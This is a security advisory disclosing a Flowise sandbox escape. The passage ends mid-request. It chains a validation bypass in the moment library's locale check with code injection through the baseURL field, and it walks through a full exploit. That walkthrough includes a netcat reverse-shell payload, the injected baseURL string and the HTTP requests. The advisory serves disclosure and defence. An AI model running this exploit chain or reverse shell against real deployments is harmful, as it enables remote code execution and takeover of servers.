Flowise Sandbox Escape to RCE

============================================================================= Security Advisory elttam

Topic: Flowise JavaScript Sandbox Escape

Module: FlowiseAI/Flowise, FlowiseAI/nodevm Disclosed: 11-Apr-2026 Credits: Luke Jahnke and Alex Brown Affects: FlowiseAI/Flowise 3.1.1, FlowiseAI/nodevm 3.9.25

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

The platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by patriksimek/vm2, a fork of the patriksimek/vm2 package.

II. Problem Description

NOTE: This vulnerability still impacts commit dddfb3c90eec900d747790a439bd362a764039cd (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of the patriksimek/vm2 sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching the vm2 sandbox would not resolve it.

The patriksimek/vm2 sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning:

https://github.com/n8n-io/vm2

The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to isolated-vm.

To demonstrate the risks associated with the use of the vm2 sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise.

https://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124

const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'] <1>

<1> Allows custom JavaScript code to use the axios, moment and node-fetch dependencies.

Notably, the moment dependency had a previously reported path traversal vulnerability (CVE-2022-24785) that could lead to RCE when user input is passed to the locale function. The patch for CVE-2022-24785 was implementing regex check to disallow / or \ characters within a locale name, as shown in the code snippet below.

Patch for CVE-2022-24785 in moment (https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5)

function isLocaleNameSane(name) {
    // Prevent names that look like filesystem paths, i.e contain '/' or '\'
    return name.match('^[^/\\\\]*$') != null; <1>
}

function loadLocale(name) {
    var oldLocale = null,
        aliasedRequire;
    // TODO: Find a better way to register and load all the locales in Node
    if (
        locales[name] === undefined &&
        typeof module !== 'undefined' &&
        module &&
        module.exports &&
        isLocaleNameSane(name) <1>
    ) {
        try {
            oldLocale = globalLocale._abbr;
            aliasedRequire = require;
            aliasedRequire('./locale/' + name); <2>
            getSetGlobalLocale(oldLocale);
        } catch (e) {
            // mark as not found to avoid repeating expensive file require call causing high CPU
            // when trying to find en-US, en_US, en-us for every format call
            locales[name] = null; // null means not found
        }
    }
    return locales[name];
}

<1> Performs a regex check to disallow / or \ characters within the provided locale name.

<2> The vulnerable sink that introduced CVE-2022-24785.

Flowise used moment version v2.29.3, which had the CVE-2022-24785 patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the match function from the provided object, so an object with a match function that always returns true would bypass the validation check, as shown in the following proof-of-concept script.

fake = new String("../../../../../../../../../../../../../../../etc/passwd");
fake.match = function(regexp){return true;}; <1>
require("moment").locale(fake);

<1> Bypasses the validation check for CVE-2022-24785.

In commit e765367fdc9761a7d9cf01a048cac15c78903b85 (https://github.com/FlowiseAI/Flowise/commit/e765367fdc9761a7d9cf01a048cac15c78903b85), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below.

https://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts

export const executeJavaScriptCode = async (
    code: string,
    sandbox: ICommonObject,
    options: {
        timeout?: number
        useSandbox?: boolean
        libraries?: string[]
        streamOutput?: (output: string) => void
        nodeVMOptions?: ICommonObject
    } = {}
): Promise<any> => {
    const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options <1>
    if (useSandbox && !process.env.E2B_APIKEY) { <1>
        throw new Error(
            'Sandboxed code execution requires E2B_APIKEY to be configured. ' +
                'Set E2B_APIKEY in your environment or contact your administrator.'
        )
    }
    let timeoutMs = timeout
    if (process.env.SANDBOX_TIMEOUT) {
        timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10)
    }
    ...

<1> The default was changed to use the E2B sandbox.

However, there are several components within the application that still use the insecure vm2 sandbox, as shown in the following grep output.

$ grep -r 'useSandbox: false'
packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts:            useSandbox: false
packages/components/nodes/tools/ChatflowTool/ChatflowTool.ts:            useSandbox: false
packages/components/nodes/sequentialagents/ExecuteFlow/ExecuteFlow.ts:                    useSandbox: false

The above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the baseURL input. The following code snippets demonstrate the injection vulnerability within AgentAsTool.ts and the broken isValidURL validation function.

https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts

class AgentAsTool_Tools implements INode {
    ...
    async init(nodeData: INodeData, input: string, options: ICommonObject): Promise<any> {
        ...
        const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string)

        // Validate agentflowid is a valid UUID
        if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) {
            throw new Error('Invalid agentflow ID: must be a valid UUID')
        }

        // Validate baseURL is a valid URL
        if (!baseURL || !isValidURL(baseURL)) { <1>
            throw new Error('Invalid base URL: must be a valid URL')
        }
        ...
    }
}

class AgentflowTool extends StructuredTool {
    ...
    // @ts-ignore
    protected async _call(
        arg: z.infer<typeof this.schema>,
        _?: CallbackManagerForToolRun,
        flowConfig?: { sessionId?: string; chatId?: string; input?: string }
    ): Promise<string> {
        ...
        const code = `
const fetch = require('node-fetch');
const url = "${this.baseURL}/api/v1/prediction/${this.agentflowid}"; <2>

const body = $callBody;

const options = $callOptions;

try {
	const response = await fetch(url, options);
	const resp = await response.json();
	return resp.text;
} catch (error) {
	console.error(error);
	return '';
}
`
        ...
        let response = await executeJavaScriptCode(code, sandbox, {
            useSandbox: false <3>
        })

        if (typeof response === 'object') {
            response = JSON.stringify(response)
        }

        return response
    }
}

<1> Use of the broken isValidURL validation function, that is shown below. <2> Injection via the baseURL setting into the sandboxed code. <3> Uses the insecure vm2 sandbox.

https://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts

/**
 * Validates if a string is a valid URL
 * @param {string} url The string to validate
 * @returns {boolean} True if valid URL, false otherwise
 */
export const isValidURL = (url: string): boolean => {
    try {
        new URL(url) <1>
        return true
    } catch {
        return false
    }
}

<1> The JavaScript URL class does not validate characters in the URL hash fragment.

An attacker could inject arbitrary code by inserting #";\n{malicious_code};// at the end of the baseURL setting, where the following baseURL demonstrates injecting the payload for the sandbox escape shown above to execute the code in the file /tmp/evil.txt outside the vm2 sandbox.

"https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../../tmp/evil.txt\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//"

The following documents the procedure to remotely exploit the insecure vm2 sandbox to achieve RCE on Flowise using the AgentAsTool node.

Note: This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment.

1. Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.

HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>
Set-Cookie: refreshToken=<REDACTED>
Set-Cookie: connect.sid=<REDACTED>
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-jwu/0ZfIvz6r3EF/4QqMbLOMeho"
Date: Sat, 11 Apr 2026 12:05:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d",
    "assignedWorkspaces": [
        {
            "id": "4b7e2414-a652-413d-b45e-b9edb8e63c1d",
            "name": "Default Workspace",
            "organizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "f8acb68d-afa5-41bd-8485-e39457433b71",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "3ff0de09-3993-125c-8798-7d14c45336df"
}

<1> The organisation ID that is required for a later step.

2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.

process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')

3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the POST /api/v1/document-store/loader/process/{loader_id} endpoint and retrieve the storeId, as demonstrated in the response below.

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 996
ETag: W/"3e4-k50+oeECDZnZeXCwR6mnTrXtxm0"
Date: Sat, 11 Apr 2026 12:13:41 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb",
            "id": "d6915ca3-4845-4f5b-a59c-3aa723aca8bd",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "dd6e5e1a-9c17-4a80-ad97-87302d9aa549" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb",
    "file": {
        "files": [
            {
                "id": "68a0a833-09c4-4df6-8b3e-1071f8edd462",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-11T12:13:41.235Z"
            }
        ],
        "id": "72f80118-fede-4f20-9ec6-1577e64c9ceb",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE File Store",
    "workspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d"
}

<1> The store ID that is required for a later step.

4. Navigate to the Agentflow tab and create a new empty Agent that would be attached to the AgentAsTool node.

5. Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the PUT /api/v1/chatflows/{chatflow_id} and modify the baseURL input to "https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//", where the {home_folder} is /home/node if built locally using https://github.com/FlowiseAI/Flowise/blob/main/Dockerfile or /root if using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the {organisation_id}, {store_id} and {filename} placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at /home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js.

<img width="2229" height="1148" alt="sandbox-escape-tool-setup" src="https://github.com/user-attachments/assets/87850ecf-3d93-4939-b5d3-9d3d2c349894" />

PUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1
Host: 192.168.122.62:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
x-request-from: internal
Content-Length: 17821
Origin: http://192.168.122.62:3000
Connection: keep-alive
Referer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be
Cookie: {cookies}

{"name":"RCE SANDBOX ESCAPE CHAT FLOW","flowData":"{\"nodes\":[{\"data\":{\"baseClasses\":[\"AgentAsTool\",\"Tool\"],\"category\":\"Tools\",\"credential\":\"\",\"description\":\"Use as a tool to execute another agentflow\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\",\"id\":\"agentAsTool_0\",\"inputAnchors\":[],\"inputParams\":[{\"credentialNames\":[\"agentflowApi\"],\"display\":true,\"id\":\"agentAsTool_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"optional\":true,\"type\":\"credential\"},{\"display\":true,\"id\":\"agentAsTool_0-input-selectedAgentflow-asyncOptions\",\"label\":\"Select Agent\",\"loadMethod\":\"listAgentflows\",\"name\":\"selectedAgentflow\",\"type\":\"asyncOptions\"},{\"display\":true,\"id\":\"agentAsTool_0-input-name-string\",\"label\":\"Tool Name\",\"name\":\"name\",\"type\":\"string\"},{\"description\":\"Description of what the tool does. This is for LLM to determine when to use this tool.\",\"display\":true,\"id\":\"agentAsTool_0-input-description-string\",\"label\":\"Tool Description\",\"name\":\"description\",\"placeholder\":\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\",\"rows\":3,\"type\":\"string\"},{\"display\":true,\"id\":\"agentAsTool_0-input-returnDirect-boolean\",\"label\":\"Return Direct\",\"name\":\"returnDirect\",\"optional\":true,\"type\":\"boolean\"},{\"acceptVariable\":true,\"additionalParams\":true,\"description\":\"Override the config passed to the Agentflow.\",\"display\":true,\"id\":\"agentAsTool_0-input-overrideConfig-json\",\"label\":\"Override Config\",\"name\":\"overrideConfig\",\"optional\":true,\"type\":\"json\"},{\"additionalParams\":true,\"description\":\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\",\"display\":true,\"id\":\"agentAsTool_0-input-baseURL-string\",\"label\":\"Base URL\",\"name\":\"baseURL\",\"optional\":true,\"placeholder\":\"http://localhost:3000\",\"type\":\"string\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\",\"display\":true,\"id\":\"agentAsTool_0-input-startNewSession-boolean\",\"label\":\"Start new session per message\",\"name\":\"startNewSession\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\",\"display\":true,\"id\":\"agentAsTool_0-input-useQuestionFromChat-boolean\",\"label\":\"Use Question from Chat\",\"name\":\"useQuestionFromChat\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\",\"display\":false,\"id\":\"agentAsTool_0-input-customInput-string\",\"label\":\"Custom Input\",\"name\":\"customInput\",\"optional\":true,\"show\":{\"useQuestionFromChat\":false},\"type\":\"string\"}],\"inputs\":{\"baseURL\":\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\",\"customInput\":\"\",\"description\":\"Sandbox escape code will be injected using the baseURL input\",\"name\":\"sandbox-escape\",\"overrideConfig\":\"\",\"returnDirect\":\"\",\"selectedAgentflow\":\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\",\"startNewSession\":\"\",\"useQuestionFromChat\":\"\"},\"label\":\"Agent as Tool\",\"loadMethods\":{},\"name\":\"agentAsTool\",\"outputAnchors\":[{\"description\":\"Use as a tool to execute another agentflow\",\"id\":\"agentAsTool_0-output-agentAsT…